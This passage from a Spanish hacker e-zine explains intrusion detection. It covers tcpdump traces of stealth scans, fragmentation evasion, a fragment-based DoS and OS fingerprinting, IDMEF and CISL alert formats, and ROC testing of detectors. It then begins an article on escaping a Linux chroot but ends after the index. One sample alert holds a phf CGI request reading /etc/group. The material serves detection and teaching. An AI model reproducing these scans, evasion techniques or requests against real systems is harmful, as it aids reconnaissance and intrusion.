para lo que necesita una cierta cantidad de datos por parte del servidor,
es decir los protocolos puzzle segun estan planteados solo son validos para
servidores de uso privado en cierta manera, por lo que los sitios publicos
en un principio no podrian beneficiarse de este tipo de sistemas.

============================================================================
= Jugando con TCPdump: Trafico Mutante
============================================================================

TCPdump es una herramienta que nos permite analizar el trafico de la red,
siendo de gran utilidad para los analistas de seguridad y cualquier otra
persona que este interesada en saber que es lo que esta ocurriendo en su red
a traves del analisis de su trafico de entrada y salida.

En esta seccion veremos ejemplos mostrados por TCPdump de trafico altamente
sospechoso para intentar mostrar las ideas o fundamentos para que el lector
sea capaz por si mismo de detectar este trafico inusual, que en muchas
ocasiones puede pasar desapercibido incluso para muchas unidades de filtrado
y IDS´s.

Para empezar veamos un ejemplo de una conexion TCP absolutamente normal

09:35:22:850000 cliente.net.35956 > telnet.com.23: S 244859854:244859854(0)
win 8855 <mss 1460> (DF)
telnet.com.23 > cliente.net.35956: S 1153650586:1153650586(0) ack
244859855 win 1024 <mss 1460> (DF)
cliente.net.35956 > telnet.com.23: . ack 1 win 8855 (DF)

El primer campo es el de la marca de tiempo que solo esta presente en la
primera linea, habiendo sido omitido por razones de claridad.

El siguiente es el host de origen con el numero de puerto origen.

Despues de > que indica la direccion de la conexion, viene el host destino
y el puerto destino.

Despues de : esta S que nos indica que el protocolo es TCP, representando la
S el indicador SYN, siendo la peticion de inicar una conexion TCP.

244859854:244859854(0) es el numero de secuencia inicial de TCP:numero de
secuencia final de TCP(bytes de datos).
Donde el numero de secuencia final TCP es igual al numero de secuencia
inicial mas el numero de bytes de datos enviados, que suele ser 0 cuando
se trata de una peticion de establecimiento de conexion.

win 8855 indica el tamaño del buffer del host origen.

mss representa el tamaño de segmento maximo, sirviendo para indicar al host
destino que el host origen no debe recibir mas de 1460 bytes de TCP, siendo
todo lo que puede recibir la red fisica, aunque el host origen pueda aceptar
hasta 8855 bytes de datos.

DF es el indicador de no fragmentacion.

Una vez explicado esto las demas partes del proceso no son muy dificiles de
entender, ya que es una simple conexion TCP, el cliente envia un SYN al
servidor para solicitar una conexion TCP con este, el servidor si esta en
condiciones de hacerlo manda al cliente un SYN mas un ACK y por ultimo si
el cliente desea continuar con la conexion envia un ACK.

Una vez visto esta pequeña introduccion vamos a ver ejemplos de trafico
mutado por los atacantes, sirviendo para muchos propositos, desde causar un
DoS en el host, pasando por la recoleccion de informacion de este mismo.
Para entenderlo totalmente se necesita un dominio bastante aceptable de
TCPdump, al igual que comprender las tecnicas de escaneo silencioso
siendo algo que esta fuera del ambito de este articulo.

--==[Ejemplo 1]==--

hacker.net.23 > 172.16.3.33.23: . ack 398615726 win 1028
hacker.net.110 > 172.16.3.33.110: . ack 398615726 win 1028
hacker.net.23 > 172.16.48.99.23: . ack 398615726 win 1028
hacker.net.150 > 172.16.85.122.150: . ack 398615726 win 1028
hacker.net.110 > 172.16.85.101.110: . ack 829647361 win 1028

Esto es una simple exploracion, aunque el atacante al menos esta intentando
pasar un poco desapercibido, no lo esta haciendo todo lo bien que pudiera.
Si una maquina esta viva al recibir un ACK a un puerto abierto o cerrado
deberia de mandar como respuesta un RESET.
Este escaneo tiene varios puntos por los que es facilmente reconocible, por
lo que no debe de suponer ningun problema su deteccion y bloqueo.

--==[Ejemplo 2]==--

truncated-tcp 18 (frag 38524:18@0+)
hacker.net > victima.com: (frag 38524:2@18)
truncated-tcp 18 (frag 8563:18@0+)
hacker.net > victima.com: (frag 8563:2@18)

Aqui un atacante ha fragmentado los encabezamientos TCP, los cuales son de
20 bytes, en varios fragmentos para intentar no ser descubierto.
Este individuo en su intento de escanear un determinado puerto se le ha
ocurrido hacerlo mediante un normal SYN, pero lo ha hecho fragmentando su
peticion, por lo que puede que varios IDS no capten su presencia.
Ha hecho un fragmento de 18 bytes de datos, cuando el encabezamiento minimo
es de 20 bytes, enviando seguidamente los 2 bytes restantes del
encabezamiento TCP.

--==[Ejemplo 3]==--

hacker.net > 172.16.145.0: (frag 14114:1460@2880+)
hacker.net > 172.16.145.0: (frag 14114:1460@4480+)
hacker.net > 172.16.145.0: (frag 14114:1460@2880+)
hacker.net > 172.16.145.0: (frag 14114:1460@2880+)
hacker.net > 172.16.145.0: (frag 14114:1460@4480+)

Esto es un bonito ejemplo de fragmentacion mutante, para empezar no hay
fragmento inicial, ni tampoco fragmento final, ademas hay muchos valores
que tienen el mismo ID de fragmento compartido a la vez que muchos
fragmentos tienen el mismo valor.
Todo tiene una respuesta o al menos podemos reflexionar para encontrar una,
la mas convincente para este caso seria que nos encontramos ante una
peticion eco ICMP, las cuales estan restringidas en nuestra red de ejemplo,
por lo tanto el primer fragmento fue bloqueado, pero esta unidad de filtrado
que paro el primer fragmento tiene un grave problema, ya que no tiene estado
por lo que permitio que todos los fragmentos asociados pasaran al interior
de la red, siendo este un problema muy serio a la vez que muy comun.
Y todo esto para que, pues simplemente para conseguir un efectivo DoS, los
fragmentos se dirigen a una direccion de difusion al encontrarnos con una
pila TCP/IP BSD, donde los hosts de destino intentaran ensamblar los
fragmentos, siendo esta fragmentacion mutante demasiado para el enrutador
que quedo noqueado.
En mi opinion los DoS son seguramente la forma mas sucia de atacar a una
maquina, a la vez que se requieren pocos conocimientos para llevar a cabo
este tipo de ataques, pero como todo tiene su encanto, me atreveria a decir
que este es un buen ejemplo para demostrar que tambien existen DoS en cierta
manera elegantes, refiriendome con ello a que este tipo de ataques tambien
pueden llegar a tener cierto grado de ingenio.

--==[Ejemplo 4]==--

hacker.net > 172.16.85.255: icmp: echo request
hacker.net > 172.16.85.0: icmp: echo request
hacker.net > 172.16.86.255: icmp: echo request
hacker.net > 172.16.86.0: icmp: echo request

Este es un escaneo muy ruidoso, consistente en mandar a las direcciones de
difusion una peticion eco ICMP, para intentar averiguar los hosts que estan
vivos, si es que este tipo de trafico se permite.

--==[Ejemplo 5]==--

hacker.net.48369 > victima.com.domain: . win 4286 <wscale 10,nop,mss 265,
_timestamp 1052208436 0,eol> (DF)

[4500 003c 5823 3600 2c06 07bc 0358 0503
68da 0602] ad58 0035 1515 598e 0000 0000_
a000 8200 fa4f 0000 0606 0a01 0703 0208
4f4f 4f4f 0805 0000 0000 0000

Esto nos indica la intervencion de un scanner para obtener huellas digitales
de la maquina objetivo, para poder identificar su sistema operativo lo que
constituye una informacion muy valiosa para el atacante.
En la salida estandar podemos observar que no hay nada que nos indique esta
situacion, pero con la opcion -x conseguimos volcar el datagrama en
hexadecimal, lo que nos sirve para comprobar si tenemos ante nosotros un
indicador TCP falso, al ver la configuracion del byte del indicador TCP.

Solo hay 6 indicadores TCP, por lo que hay otros 2 bits, siendo los 2 bits
de alto nivel o reservados, debiendo ser su valor 0.
Pues bien sabiendo todo esto se abre toda una nueva serie de trafico mutado,
consistente en jugar con estos indicadores.
En este ejemplo debemos fijarnos en el nibble de bajo nivel para examinar el
valor de estos bits.
Si observamos el byte del indicador TCP a000, vemos que todos los bits
estan desactivados, lo cual se conoce como una sesion nula, siendo una
configuracion mutante del indicador TCP. Por lo tanto ese 00 nos esta
indicando que no se ha establecido ningun indicador TCP, cuando un indicador
TCP normal tiene un bit establecido.
Ante este estimulo la victima puede no responder, o en cambio hacerlo con
RESET, lo que serviria al atacante para identificar la pila TCP/IP de la
victima y por tanto su sistema operativo.

--==[Ejemplo 6]==--

hacker1.net.5100 > victima.com.1137: SFP 3241821:3242365(544) win 13234
urg 55134 (DF)
hacker2.net.18350 > victima.com.22555: SF 8440982:8441538(556) win 10240
(DF)
hacker1.net.8596 > victima.com.555: SFRP 2029978156:2029978684(528)
ack 2029978156 win 556 urg 556 <[bad opt]> (DF)
hacker2.net.18350 > victima.com.4713: SFRP 2029994540:2029995068(528)
ack 2029994540 win 16940 urg 16940 <[bad opt]> (DF)

Esto es un simple ejemplo de un escaneo coordinado, donde como no se
pretende obtener informacion de ciertos puertos de la maquina victima,
aunque tambien habria que decir que un escaneo de estas caracteristicas
puede hacer que la maquina se venga abajo, siendo otro indicio de esta
actividad la relacion de las marcas de tiempo, la cuales irian bastante
seguidas.

Todos estos ejemplos se podria decir que no son mas que unos cuantos granos
de arena en la inmensidad de una playa, ya que existen una gran variedad de
configuraciones de trafico mutado, mas todas las posibles configuraciones
que aun estan por descubrirse que de alguna manera pueden ayudar a los
intrusos para sus propositos.
Jugando con esta herramienta se pueden llegar a descubrir verdaderas joyas
ya que siempre hay gente que se las ingenia para desarrollar nuevas
mutaciones, por lo que la actitud de cualquier persona que este enfrente de
esta herramienta ha de ser la de no creer al pie de la letra lo que esta
viendo, tomando una actitud paranoide para poder distinguir entre percepcion
y realidad.

Tambien decir que aunque las marcas de tiempo han sido omitidas por
cuestiones de claridad, para un analisis real son de vital importancia, ya
que gracias a ella podemos averiguar muchas cosas sobre la mentalidad del
atacante hacia nuestra maquina, al igual que poder discernir sobre el
supuesto 'nivel' de este atacante y la clase de herramientas que esta usando
para obtener informacion.

============================================================================
= LAD: Login Anomaly Detection
============================================================================

Es posible que nos encontremos con ciertos IDS´s bastante agresivos, los
cuales tengan estipulado que ante ciertas anomalias han de llevar a cabo
acciones ofensivas contra el supuesto atacante, no solo como pudiera ser en
el caso de NetRanger de cortar una comunicacion, sino tambien llegar al
extremo de congelar una cuenta dada, otro IDS que actua tambien de un modo
similar en cuanto a su dinamismo es RealSecure.

Por supuesto la funcion de un IDS es la de responder ante ciertas anomalias,
pero en esta seccion veremos otro tipo de anomalias que pueden ser
interesantes para usar, todas estas parten de todo el rango de posibilidades
que se puede dar dentro de las llamadas anomalias de login, las mas usadas
son :

Anomalias de Login - Anomalias de Tiempo

- Anomalias de Lugar

Para ello el sistema hace uso de un metodo estadistico, donde esta reunido
una gran cantidad de informacion sobre los habitos de los usuarios.
Si un atacante se hace con la contraseña de un usuario de nuestra red, y
este atacante entra en el sistema usando esta contraseña de una manera
normal, nuestro IDS como es logico no detectara nada y es aqui donde entran
en juego estos metodos estadisticos.

Ejemplos de aspectos a tener en cuenta para cada cuenta pueden ser, duracion
de una sesion Telnet, cantidad de bytes transmitidos, la fecha exacta en que
el usuario suele acceder a su cuenta en el sistema, la direccion de origen
desde la que conecta el usuario, la cantidad de recursos de la CPU que
utiliza un usuario, etc.

Este tipo de sistemas estan orientados hacia maquinas de alto riesgo e
importancia, donde los usuarios son plenamente conscientes del lugar en que
se encuentran, contando con una gran cantidad de recursos en el sistema para
poder manejar una base de datos de esa magnitud.

============================================================================
= IAP: Intrusion Alert Protocol
============================================================================

Este protocolo esta orientado al intercambio de informacion de alerta entre
los distintos componentes que forman un sistema de deteccion de intrusos,
usando TCP como mecanismo de transporte.
Al encontrarnos en una red cualquiera nuestro IDS estara dividido en varios
sensores, teniendo cada uno una mision especifica, sirviendo IAP para
transmitir los mensajes de alerta desde los sensores o analizadores al
modulo encargado de ese conjunto de sensores.

IAP hace uso de MIME para la encapsulacion de los datos, pero los datos de
alerta son mandados en el formato XML, constando este proceso de intercambio
de informacion de dos conexiones simultaneas, una para el flujo de datos del
sensor y otra para el flujo de datos del modulo encargado, debiendo en todo
momento estas dos conexiones atenerse a un perimetro de seguridad
establecido por IAP.

En el proceso de establecimiento de los parametros de seguridad se
establecen los parametros tipicos, como son la version del protocolo,
los algoritmos criptograficos a usar generando claves privadas para las
siguientes fases, no sabiendo a ciencia cierta si este proceso es vulnerable
al igual que pasaba con SSL a los llamados "rollback attacks".

Existen varios modelos de comunicacion entre los componentes de un IDS, pero
el mas extendido es el modelo de peticion - respuesta.


+------------------------+
/ V
+--------+ +----------+ / +---------+ +---------+
| | report | |/ alert | | | |
| Sensor |------->| Analyzer |--------->| Manager | | Manager |
| | | | | | | |
| | | | query | | | |
| | | |<---------| | | |
| | | | response | | | |
| | | |--------->| | | |
| | | | | | | |
+--------+ +----------+ +---------+ +---------+
IDS #1 |
.................................................|..................
IDS #2 | alert
V
+---------+
| |
| Manager |
| |
+---------+

Donde los analizadores no mandan toda la informacion referente a los eventos
sino que solo mandan cierta cantidad de datos sobre la alerta, como pueden
ser el tipo o la prioridad de dicha alerta, lo cual no se da en los
restantes modelo, sirviendo entre otras cosas para reducir la carga.

Un ejemplo que he encontrado del formato de los mensajes de alerta para
quien desee iniciarse seria el siguiente :

--==[Phf Attack]==--

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE IDMEF-Message PUBLIC "-//IETF//DTD RFCxxxx IDMEF v0.3//EN"
"idmef-message.dtd">

<IDMEF-Message version="0.3">
<Alert ident="abc123456789" impact="attempted-recon">
<Analyzer analyzerid="bc-sensor01">
<Node category="dns">
<name>sensor.bigcompany.com</name>
</Node>
</Analyzer>
<CreateTime ntpstamp="0x12345678.0x98765432">
2000-03-09T08:12:32-01:00
</CreateTime>
<Source ident="abc123">
<Node ident="abc123-001">
<Address ident="abc123-002" category="ipv4-addr">
<address>222.121.111.112</address>
</Address>
</Node>
<Service ident="abc123-003">
<port>21534</port>
</Service>
</Source>
<Target ident="xyz789">
<Node ident="xyz789-001" category="dns">
<name>www.bigcompany.com</name>
<Address ident="xyz789-002" category="ipv4-addr">
<address>123.45.67.89</address>
</Address>
</Node>
<Service>
<port>8080</port>
<WebService>
<url>
http://www.bigcompany.com/cgi-bin/phf?/etc/group
</url>
<cgi>/cgi-bin/phf</cgi>
<method>GET</method>
</WebService>
</Service>
</Target>
<Classification origin="databaseid">
<name>629</name>
<url>http://www.securitycompany.com</url>
</Classification>
</Alert>
</IDMEF-Message>

============================================================================
= GIDO: Generalized Intrusion Detection Objects
============================================================================

CIDF (Common Intrusion Detection Framework), es una serie de estandares
orientados para que los IDS puedan trabajar entre ellos de una forma
conjunta, y en este punto nos encontramos con Gidos, que es un formato
especifico diseñado para intercambiar mensajes entre los IDS para tener
conocimiento del estado de su "universo" a la vez que poder recomendar
las acciones a tomar segun los eventos ocurridos.

Es decir Gidos permite:

- Describir eventos que han sucedido en los sistemas pertenecientes a la red

- Recomendar a un IDS llevar a cabo una accion

- Preguntar a un IDS sobre los eventos ocurridos

Es decir cuando alguna de estas acciones se lleva a cabo, se estan
produciendo gidos, habiendo por tanto diversas clases de gidos, por ello hay
componentes que obtienen gidos de otros componentes para trabajar sobre
ellos devolviendo mas tarde nuevos gidos, hay tanto consumidores de gidos
como productores de gidos, pudiendo configurar cada componente para que solo
acepte los gidos que desee.

Como cualquier otro paquete un gido consta de una cabecera y de un cuerpo,
donde el cuerpo esta formado por sentencias que describen el estado de una
maquina, recomiendan algun tipo de acccion o reportan algun evento ocurrido,
siendo el verbo la parte mas importante de la sentencia, diciendo lo que ha
ocurrido como puede ser "Delete", tambien esta el identificador de quien ha
llevado a cabo la accion como "Operand" por ejemplo, otros campos habituales
son RealName, UserName, UserID, etc.

Un ejemplo de la sintaxis:

(def RemoveFile ($username $filename)
(Remove
(Initiator (UserName $username))
(Operand (ObjectType file) (ObjectName $filename))
)
)

La cabecera contiene la informacion basica sobre todo del gido mismo, mas
que del analisis de los eventos o cualquier otra accion a tomar, que iria en
el cuerpo.
Los campos principales en la cabecera son:

1. Identificador de version
2. Longitud del gido
3. Time stamp
4. Identificador thread
5. Identificador de clase
6. Identificador del creador
7. Flags

============================================================================
= CISL: Common Intrusion Specification Language
============================================================================

CISL es el lenguaje usado entre los componentes CIDF para comunicarse entre
ellos intercambiando informacion, este lenguaje se basa en lo que se conoce
como expresiones S, siendo muy similar al lenguaje Lisp, constando de
etiquetas y datos, siendo expresados por suerte o por desgracia segun la
sintaxis del ingles, unos simples ejemplos:

--==[Ejemplo 1]==--

(And
(OpenApplicationSession
(When
(Time 15:00:30 22 Nov 2000)
)
(Initiator
(HostName 'memonix.net')
)
(Account
(UserName 'memonix')
(RealName 'memonix')
(HostName 'host.net')
(ReferAs 0x12345678)
)
(Receiver
(StandardTCPPort 23)
)
)
(Delete
(World Unix)
(When
(Time 15:01:29 22 Nov 2000)
)
(Initiator
(ReferTo 0x12345678)
)
(FileSource
(HostName 'host.net')
(FullFileName '/etc/passwd')
)
)
(OpenApplicationSession
(World Unix)
(Outcome
(CIDFReturnCode failed)
(Comment '/etc/passwd missing')
)
(When
(Time 15:03:17 22 Nov 2000)
)
(Initiator
(HostName 'evil.net')
)
(Account
(UserName 'kenobi')
(RealName 'kenobi')
(HostName 'host.net')
)
(Receiver
(StandardTCPPort 23)
)
)
)

En esta expresion S se esta queriendo decir lo siguiente, alguien desde
memonix.net se conecta a la maquina host.net conectandose a la cuenta
memonix, borrando esta misma persona despues el archivo /etc/passwd, mas
tarde alguien desde evil.net intenta conectarse a host.net y en concreto a
la cuenta kenobi.
En este ejemplo se ven involucrados varios SIDs o Semantic IDentifiers,
que vienen a ser las etiquetas, viniendo a expresar cosas muy distintas,
desde acciones, objetos a tiempos y localizaciones.

--==[Ejemplo 2]==--

(Execute
(Initiator
(UserName 'memonix')
)
(Process
(FileName 'ls')
)
(Process
(FileName 'ps')
)
(Process
(FileName 'cd')
)
(Process
(FileName 'chmod')
)
)

Aqui se expresa que el usuario memonix ejecuto los comandos ls, ps, cd y
chmod.

--==[Ejemplo 3]==--

(OpenApplicationSession
(When
(Time 16:00:36 22 Nov 2000)
)
(Initiator
(IPV4Address 242.2.2.2)
)
(Account
(UserName 'kenobi')
(RealName 'kenobi')
(HostName 'host.net')
(IPV4Address 241.1.1.1)
)
(Receiver
(StandardTCPPort 23)
)
)

Un usuario desde la maquina 242.2.2.2 se autentifico como el usuario kenobi
en la maquina host.net, tanto esta notacion como las anteriores son usadas,
aunque lo mas frecuente es encontrar la direccion ip.

En el anterior apartado sobre gidos vimos que uno de los campos de la
cabecera de un gido es el identificador de clase, siendo este un campo que
para ciertos propositos nos puede resultar de mucha utilidad, los codigos
identificativos de cada clase son los siguientes:

0x0020 = trace
0x0021 = response prescription
0x0022 = report
0x0023 = evidence of event
0x0024 = notification
0x0025 = request from discovery coordinator (DC)
0x0026 = response from DC
0x0027 = exchange
0x0028 = suggested action
0x0029 = status report from DC
0x002a = undo request from DC
0x002b = detection
0x002c = informational message from DC
0x002d = merge from DC
0x002e = do request from DC
0x002f = table update

Estos codigos junto con los pertenecientes a cada etiqueta nos pueden servir
para desarrollar un decodificador de gidos, ya que las sentencias son
codificadas en flujos de octetos, por ejemplo Allow es 0x08000804,
BlockMessage es 0x08000073, Attack es 0x08000081, etc.

Como se puede ver la forma de actuar seria similar a la de los crackers
cuando estan ante un listado con los bytes pertenecientes a cada nemotecnico
lo unico que por supuesto cabe decir es que si los gidos van correctamente
encriptados de poco nos serviria esto.
Un ejemplo de como iria el tema:

--==[Ejemplo 1]==--

(HostName 'memonix.net') 00 00 00 13
04 00 00 0c
00 00 00 0b
6d 65 6d 6f 6e 69 78

En primer lugar tenemos el codigo para HostName que es 0x0400000c, luego
tenemos que poner la longitud de la cadena 'memonix.net' que es de 11 siendo
el once 0x0000000b y por ultimo la codificacion de la cadena 'memonix.net'
que es 6d 65 6d 6f 6e 69 78, siendo el penultimo paso el de concatenar todo.
Una vez hecho todo esto se pasa a añadir al principio la longitud de la
combinacion entera, siendo de ocho de HostName mas once de memonix.net, es
decir diecinueve que es 00 00 00 13.

============================================================================
= Lenguajes de ataque
============================================================================

En el mundo de los ids existen otro tipo de lenguajes llamados lenguajes de
ataque debido a que su fin es el de llegar a detectar cuando uno de ellos ha
tenido lugar, para ello los creadores de estos lenguajes lo que hacen es
codificar como tienen lugar los distintos tipos de ataque, diviendo a estos
en una secuencia de acciones, pudiendo tambien llegar a detectar ataques
coordinados.
Dentro de este tipo de lenguajes podemos encontrar varias diviones que son
las siguientes:

1. Lenguajes de eventos:

Estos lenguajes son usados para la simple descripcion de eventos o posibles
acciones que pueden tener lugar, para su inmediata comprension por parte
del ids.

2. Lenguajes de reporte:

Este tipo de lenguajes se usan para reportar alarmas, dando cierta
informacion sobre el tipo de ataque al que esta siendo sometida la maquina
al igual que el posible origen de este ataque.


3. Lenguajes de respuesta:

En estos lenguajes se especifican las acciones que han de ser tomadas en
el momento en que se detecta un ataque, pudiendo llegar a producirse
distintos tipos de respuestas segun se va desarrollando el ataque.

4. Lenguajes 'exploit':

En estos lenguajes se describen las distintas acciones o pasos que han de
tener lugar para que un determinado ataque tenga exito.

5. Lenguajes de correlacion:

Con estos lenguajes se pretende poder llegar a determinar cual es el origen
entre determinados ataques, analizando para ello de una forma un tanto
distinta toda la informacion que se tiene sobre los eventos que estan
teniendo lugar en la maquina.

6. Lenguajes de deteccion:

Los lenguajes de deteccion son seguramente los mas conocidos, ya que dentro
de este grupo se encuadran los lenguajes usados para la creacion de filtros
en los ids mas comunes.

Ejemplos existentes de este tipo de lenguajes podrian ser por ejemplo STATL
en el cual se pasa a dividir cada ataque en pequeñas secuencias, teniendo
tambien como ayuda los STD o State Transition Diagram que vienen a
representar graficamente los eventos que van ocurriendo, siendo el
funcionamiento de STATL muy similar al de una maquina finita de estados ya
que encontramos estados y funciones de transicion que van desde el momento
en que la maquina esta libre de todo ataque hasta que el momento en que ha
sido comprometida. Otros lenguajes de este tipo algo mas populares sobre los
que no dire nada son CASL y NASL.

============================================================================
= ADELE: Una alternativa para el testeo de IDS
============================================================================

Este lenguaje es un proyecto del ministerio de defensa frances que nace con
la intencion de servir de ayuda a los analistas de ids para el testeo de
estos mismos, utilizando para ello el modelado de ataques conocidos para
llevar a cabo la contruccion de una base de datos, este lenguaje reune
caracteristicas de los lenguajes de deteccion, correlacion, respuesta y
exploit, siendo una caracteristica curiosa el que las descripciones ADELE
contienen como era de esperar codigo para llevar a cabo los distintos tipos
de ataque.
Estos descriptores constan de tres campos, campo de explotacion, de
deteccion y de respuesta, constando cada uno de ellos de un campo de
precondicion, postcondicion donde se dan a entender cuales son los
requisitos que necesita el atacante para llevar a cabo ese determinado
ataque y cuales seran los resultados una vez que ese ataque se haya llevado
a cabo con exito.

Segun veo esto podria decir que puede constituir una buena forma para el
aprendizaje de ciertas vulnerabilidades pero teniendo el codigo de los
exploits en c por ejemplo este lenguaje vendria a ser algo redundante
ademas de que habria que tener en cuenta el tiempo gastado para traspasar
todos los exploits a este lenguaje, adjunto el esqueleto de como se
formarian tales descriptores.

--==[Ejemplo 1]==--

Alert Nombre_de_la_alerta (parametros)
{
<exploit>
<precond>

requerimientos para lanzar el ataque

</precond>
<attack>

codigo para lanzar el ataque

</attack>
<postcond>

resultados del ataque una vez que este se ha efectuado

</postcond>
</exploit>

<detection>
<detect>
<events>

se nombran todos los eventos que tendran lugar durante el ataque

</events>
<enchain>

se relacionan las distintas acciones del ataque con las alertas que iran
surgiendo durante el mismo, ya que un ataque puede constar de micro
eventos o acciones que se consideren ofensivas por si solas

</enchain>
<context>

se definen las distintas caracteristicas que definen a cada evento y a
su correspondiente alarma

</context>
</detect>
<confirm>

en esta seccion se definen las acciones a seguir para asegurarse de que el
ataque ha sido real y que no se trataba de una falsa alarma

</confirm>
<report>

aqui se describe la alerta que ha de ser notificada una vez que se ha
confirmado el ataque

</report>
</detection>
<response>

se definen las respuestas automaticas que se pondran en marcha para intentar
mitigar el ataque aun sabiendo que este tipo de respuestas pueden resultar
no demasiado acertadas, por lo que solo se tendra en consideracion a los
usuarios internos a la hora de imponer restricciones

</response>
}

Los metodos usados internamente para llevar a cabo cada accion son una
simple cuestion de sintaxis.

Otros tipos de sistemas que tambien sirven para el testeo de IDS podrian ser
el lenguaje Lambda tambien del ministerio de defensa frances, siendo un
proyecto que se desarrollo en paralelo a Adele teniendo la misma finalidad
o el paquete expect aunque este es ya algo antiguo.

============================================================================
= Curvas ROC: Receiver Operating Characteristic
============================================================================

Para terminar de hablar sobre las tecnicas usadas para el testeo de IDS
mencionar el uso de las tecnicas conocidas como curvas roc, las cuales
tienen como letit motiv el que un ids no solo se puede considerar bueno
segun el porcentaje de ataques que pueda capturar, sino que tambien se ha
de tener en cuenta el porcentaje de falsos positivos generado por este
mismo, ya que si un ids es capaz de detectar el 90% de ataques de un
determinado tipo pero a su vez genera una media de mas de 100 falsos
positivos por dia es un ids poco eficaz, ya que la validacion de los datos
seria demasiado costosa en niveles de tiempo, siendo por ello por lo que
las curvas roc son usadas en el testeo de ids, ya que estas determinan los
radios de deteccion de ataques frente al radio de falsos positivos
generados, por lo que cuando se desea comparar un determinado grupo de
productos entre si lo que se hace es someter a tales productos ante trafico
generado 'artificialmente', es decir ante trafico considerado como normal o
comun para esa maquina junto con un determinado numero de ataques los cuales
se dividen en ciertas categorias, por supuesto los encargados de cada
producto desconocen de ante mano cuales seran esos determinados ataques,
despues del numero de dias que se considere oportuno se pasa a comparar
los resultados generados por cada producto, pudiendo por tanto llegar a
diversas conclusiones como son que ids tiene un menor numero de falsos
positivos, cual es capaz de detectar un mayor porcentaje de ataques de un
determinado tipo, siendo esto ultimo de gran utilidad ya que si los
desarrolladores de un determinado ids comprueban que su producto es capaz
de detectar un porcentaje considerable de bofs pero en cambio el porcentaje
de DoS detectados es mediocre saben por donde han de intentar meter mano
para mejorar su producto.
Por supuesto decir que las curvas roc son como no originarias de otros
campos del saber, para quien este interesado en conocer estos origenes le
remito a 'The Relative Operating Characteristic in Psychology', 'Signal
detection theory and ROC-analysis' y 'Coronary Artery Bypass Risk Prediction
Using Neural Networks'.

============================================================================
= CIDDS: Un ejemplo de sistema dedicado
============================================================================

Por ultimo hablar sobre los sistemas dedicados, siendo un ejemplo CIDDS
(Common Intrusion Detection Director System) el cual es propiedad del
Air Force Information Warfare Center, constando este producto de un
hardware, software y sistema operativo dedicado para la deteccion de
intrusos, trabajando en cierta manera en paralelo con el tambien producto
dedicado ASIM (Automated Security Incident Measurement), pudiendo estos
sistemas almacenar todos los datos recibidos en tiempo real en bases de
datos locales, en las cuales se llevan a cabo las funciones de correlacion
siendo estas llevadas a cabo tanto por analistas humanos como por otro tipo
de software especializado, puediendo debido a la magnitud de estas bases de
datos reconocer secuencias o fases de ataques en largos periodos de tiempo,
pudiento tambien llevar a cabo analisis 'keystroke by keystroke' de
conexiones en tiempo real, siendo de nuevo la idea central de este tipo de
sistemas la de agentes autonomos.

============================================================================
= Conclusion
============================================================================

Todo lo expuesto aqui no es mas que una pequeña introduccion de un pequeño
conjunto de aspectos del campo de los IDS, hasta que me he cansado de
escribir, ya que este campo es tremendamente extenso a la vez que
interesante para su estudio.
Uno de los aspectos que deberian de quedarnos claros es la necesidad de los
IDS ya que es preferible antes de tener que hacer un estudio post mortem de
nuestro sistema, hacerlo cuando el atacante esta empezando a interesarse por
nuestra maquina, aunque tambien hay que tener claro que al igual que ocurre
con los firewalls, los IDS no deben de ser mas que uno de nuestros elementos
de defensa y prevencion, ya que estos tampoco suponen la defensa perfecta,
aunque si es cierto que nos ayudaran para quitarnos de en medio a la mayoria
de los parasitos, pero sabiendo en todo momento que las personas que le dan
a esto noche y dia siempre van un paso por delante.
Segun van las cosas y por lo que se comenta, es posible que el conjunto de
estandares CIDF sea finalmente engullido por IDWG, pero aun asi todo lo
expuesto sobre CIDF sigue siendo valido debido a que pasara a formar parte
de la base de IDWG.
De manera paralela a este tipo de estandares podemos encontrarnos por
ejemplo con la alianza OPSEC la cual augura avances en el campo de
la seguridad superando seguramente a otro tipo de iniciativas como puedan
ser CCI ya que en este tipo de asuntos uno de los mayores logros seria la
unificacion de esfuerzos, aunque para ello sea necesaria la total
eliminacion del oscurantismo muchas veces existente en estos temas.


"El bambu mas alto es el que mas se inclina"

[memonix, memonix@softhome.net, 2001]



*EOF*
|-----------------------------------------------------------------------------|
[ 7a69#14 ] [ 21-10-2002 ]
\ /
\-------------------------------------------------------------------------/
{ 11 - Chroot como entorno inseguro. }{ Ripe }
|-----------------------------------------------------------------------|



0.- Indice.
-----------

1.- Introduccion.
2.- Rompiendo el chroot en linux (metodo 1).
2.1.- Solucionando el problema.
3.- Rompiendo el chroot en linux (metodo 2).
3.1.- Solucionando el problema.
4.- Rompiendo el chroot en linux (metodo 3).
4.1.- Solucionando el problema.
5.- Rompiendo el chroot en linux (metodos 4 y 5).
5.1.- Solucionando el problema.
6.- Rompiendo el chroot en linux (metodo 6).
6.1.- Solucionando el problema.
7.- Matizacion final.
8.- Conclusiones.






1.- Introduccion.
-----------------

A dia de hoy nadie duda de la importancia de la seguridad informatica,
sin embargo siguen apareciendo cada dia numerosas vulnerabilidades (basta con
estar suscrito a listas como bugtraq para ver que esta afirmacion es cierta),
ello es debido a que escribir aplicaciones seguras no es nada facil, por lo
que al montar un sistema debemos presuponer que cada una de las aplicaciones
instaladas ahi pueden ser vulnerables. Una clásica solucion para reducir el
impacto ante una posible explotacion es el chroot, cuya accion es 'enjaular'
un proceso en un directorio de manera que, en principio, al proceso le sea
imposible acceder a ninguno de los ficheros que se encuentran fuera de la
'jaula'.

Lo que en este articulo vamos a contar va a demostrar que dicha 'jaula'
puede, en ocasiones, tener los barrotes demasiado separados, dejando pasar
entre ellos al mas escurridizo intruso. Para una completa comprension
seria recomendable la lectura de las paginas man relacionadas con chroot
antes de seguir (man 2 chroot y man 8 chroot).

Si bien chroot no forma parte de POSIX.1, hace ya tiempo que ha sido
adoptada por la mayoria de los UNIX (sera dificil que encuentres alguno que
no disponga de chroot), y suele implementarse como una llamada al sistema,
por lo que para analizar una posible vulnerabilidad deberemos ojear las
fuentes de algun kernel. Personalmente he elegido linux (concretamente la
version 2.2.18), por ser dicho kernel el que mas conozco.




2.- Rompiendo el chroot en linux (metodo 1).
--------------------------------------------

Linux mantiene para cada proceso que corre en el sistema una estructura
task_struct que contiene toda la informacion referente al proceso. Entre dicha
informacion se encuentra una estructura fs_struct, cuya informacion hace
referencia el filesystem del proceso. En nuestro caso la unica informacion de
dicha estructura que nos interesa es root y pwd, que no son mas que estructuras
dentry que hacen referencia al directorio raiz y al directorio actual del
proceso respectivamente.


---/ include/linux/sched.h /---

(...)

struct task_struct {

(...)

/* filesystem information */
struct fs_struct *fs;

(...)

};

(...)

